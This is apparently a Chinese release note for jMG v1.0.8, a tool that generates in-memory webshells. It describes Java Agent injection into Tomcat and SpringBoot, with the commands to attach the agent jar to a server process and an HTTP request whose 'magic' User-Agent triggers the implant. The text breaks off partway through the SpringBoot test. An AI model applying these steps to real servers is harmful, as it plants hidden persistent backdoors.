jMG v1.0.8 - Java Agent 篇

0x01 前言jMG  v1.0.8 实现了鸽了半年的功能 — Java Agent 注入内存马。0x02 更新日志1、新增对 Tomcat Agent 注入内存马的支持2、新增对 SpringBoot(SpringMVC) Agent 注入内存马的支持0x03 功能测试Tomcat 8 + JDK 80、测试环境Tomcat 8.5JDK 81、选择 Tomcat + JAR_AGENT2、将 agent 传到目标服务器上执行# list pidjava -jar jmg-agent.jar# attach pidjava -jar jmg-agent.jar [pid]3、注入内存马携带 User-Agent: magic 触发内存马注入逻辑GET / HTTP/1.1Host: 127.0.0.1:9090User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0Accept: image/avif,image/webp,*/*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: close4、按照基础信息进行连接SpringBoot 2 + JRE 80、测试环境SpringBoot 2.5.3 + Embedded JettyJRE 81、选择 SpringMVC + JAR_AGENT2、将生成的 agent 传到目标服务器上执行纯 jre ………………………………